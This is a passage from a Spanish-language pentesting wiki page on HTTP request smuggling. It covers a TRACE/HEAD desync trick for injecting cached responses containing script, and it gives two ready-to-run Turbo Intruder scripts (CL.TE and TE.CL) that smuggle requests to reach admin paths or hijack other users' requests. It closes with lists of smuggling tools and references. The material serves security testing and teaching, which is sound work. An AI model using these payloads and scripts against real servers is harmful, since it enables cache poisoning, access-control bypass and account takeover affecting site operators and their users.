Se sugiere seguir this post para otra forma de abusar del método TRACE. Como se comenta, smuggling a HEAD request and a TRACE request es posible control some reflected data en la respuesta a la HEAD request. La longitud del body de la HEAD request está indicada básicamente en el header Content-Length
y se forma con la respuesta a la TRACE request.
Por lo tanto, la nueva idea sería que, conociendo este Content-Length
y los datos proporcionados en la TRACE response, es posible hacer que la TRACE response contenga una HTTP response válida después del último byte indicado por el Content-Length, permitiendo a un atacante controlar completamente la request de la siguiente response (lo que podría usarse para realizar un cache poisoning).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Generará estas respuestas (observe cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de HEAD y, una vez que el Content-Length de HEAD termina, se smuggled una HTTP response válida):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:
{{#ref}} ../http-response-smuggling-desync.md {{#endref}}
Otras técnicas de HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
{{#ref}} browser-http-request-smuggling.md {{#endref}}
- Request Smuggling in HTTP/2 Downgrades
{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}
Scripts de Turbo intruder
CL.TE
Desde https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Herramientas
- HTTP Hacker (Burp BApp Store) – visualizar concatenación/framing y el comportamiento HTTP de bajo nivel
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Esta herramienta es un HTTP Fuzzer basado en gramática, útil para encontrar discrepancias inusuales de request smuggling.
Referencias
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Cuidado con el falso falso‑positivo: cómo distinguir HTTP pipelining de request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
{{#include ../../banners/hacktricks-training.md}}